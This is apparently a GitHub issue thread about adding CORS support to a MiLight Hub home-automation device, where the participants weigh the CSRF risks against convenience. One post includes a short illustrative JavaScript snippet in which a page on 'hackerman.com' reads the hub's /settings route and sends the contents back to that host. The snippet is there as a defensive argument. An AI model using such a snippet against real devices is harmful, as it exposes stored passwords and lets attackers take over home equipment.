CORS support? would be nice to have.

[Cyberfonic]

I have some homebrew web-apps for home automation. If I try to make a XMLHttpRequest to MiLight Hub REST end-point, I get a CORS failure. AFAIK the MiLight Hub needs to return Access-Control-Allow-Origin: * in response to suitable OPTION request.

Not a serious issue for me. I simply have some home-server side fetches to access MiLight Hub. But I would prefer to streamline things a bit more.

[sidoh]

Sure, sounds like a good idea. There was another user mentioned they were able to add CORS support in #559.

[poudenes]

OFF_TOPIC How many users use your hub? Im so happy to have a developer who create "maybe" the best solution for Milight Bulbs... Sky is the limit !!

[theaceofthespade]

Hey perfect! As a note, I don't have an option to disable cors, but since it's going to be on people's local networks, and it's entirely a browser feature, I can't really see much reason for people to want it off.

@sidoh would you like to add me as a contributor so I can push up a fresh feature branch, or would you rather me do a fork? I'm happy either way!

[sidoh]

Thanks for digging into this, @theaceofthespade!

The only reason I can think of is to prevent CSRF. The /settings routes are actually sensitive because they can contain passwords and could be used to lock a user out of their hub. Also probably not the average user's favorite thing that some random page on the Internet could theoretically make a cross-site request to milight-hub.local to mess around with their lights.

I would suggest:

• Never allow cross-site requests for any of the /settings routes.
• Make a global flag that toggles CORS support for the rest of them.

A fork probably works best. Thanks again!

[Cyberfonic]

I shudder at the thought of having any of my home automation on an internet accessible WiFi network. I find it simple to only expose canned scenarios for external access via a secured and hardened server. My preference would be for the global flag to toggle CORS for /gateways routes only.

[sidoh]

@Cyberfonic, as long as you browse the Internet from a network that also has access to your internal home automation network, I think you're vulnerable to any CSRF exploits your HA devices have.

The rough flow here is:

1. You happen upon hackerman.com which serves some javascript of the form:

   var data = await fetch("http://milight-hub.local/settings", { mode: "cors" })
   fetch("http://hackerman.com/data", { method: "POST", data })

2. Normally your browser would block the cross-origin request. But if CORS is enabled on milight hub, your browser will happily check if the /settings route is CORS-enabled and serve the body to the script if it is.

Obviously a much narrower attack surface than exposing HA devices to the Internet, but it's also entirely orthogonal.

[theaceofthespade]

So I wanted to come in here all "who cares if someone guesses the device ids you're using and turns off your lights," but since then it occurred to me that there are a lot of potential problems, like getting info about your network (and maybe even mqtt channels) as @sidoh discussed, and then I realized I don't know anything about the http server they're using, or how secure it is, so it seems like one could (worst case scenario) potentially engineer a buffer overflow style attack entirely through the browser (the http server may be perfectly secure, I literally just haven't looked into it yet).

So I've started setting it up so that you can enable cors and specify the allowed domains. What's everyone's vote about being able to select which routes it's applied to?

[Cyberfonic]

@poudenes: Other than for configuration tasks (infrequent) the MiLight hub is currently only accessed by http requests from the HA Server. I was trying to access from WebApp on tablet / smartphone directly without going through the HA Server, hence the question about CORS support.

[Cyberfonic]

@sidoh & @theaceofthespade : I am not clever enough to thwart hack attacks via the internet, etc. Currently my HA network is an air-gapped WiFi network - with not internet access. My everyday access is via various old smartphones that connect to that WiFi network alone and are not used for web browsing, etc. I am aware of potential WPA2 and nRF vulnerabilities. The only truly secured system is unplugged from everything, including electricity and stored in an underground vault -- but not particularly useful.

For my HA I only use devices that I can make work without cloud connnectivity. In fact, I basically research which devices have local access solutions for them and only buy those, i.e. never connect them to the cloud, nor download their pesky apps. MiLight caught my attention because the remote works without any need for cloud based configuration, etc.

When I need to configure the MiLight hub or any of the other devices, I switch the notebook's WiFi to the HA WiFi, do the task and switch back to the "other" WiFi which does have internet access, but no HA access.

Based on my environment and use cases, I would be content with /gateways being the only route being enabled for CORS.

[furahivszuri]

Is there a patch or branch for this? This would be so useful